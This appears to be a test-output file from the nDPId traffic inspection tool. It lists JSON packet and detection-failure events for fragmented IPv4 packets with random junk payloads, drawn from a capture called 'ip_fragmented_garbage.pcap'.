+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954672,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954679,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954687,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954694,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954704,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954715,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954722,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954730,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954739,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954748,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954760,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954769,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954776,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954784,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954791,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954801,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954809,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954817,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954825,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954832,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954838,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954846,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954853,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954860,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954872,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954885,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954895,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954902,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954909,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954920,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954930,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954938,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954946,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954953,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954960,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954968,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954977,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954985,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954993,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955000,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955008,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955015,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 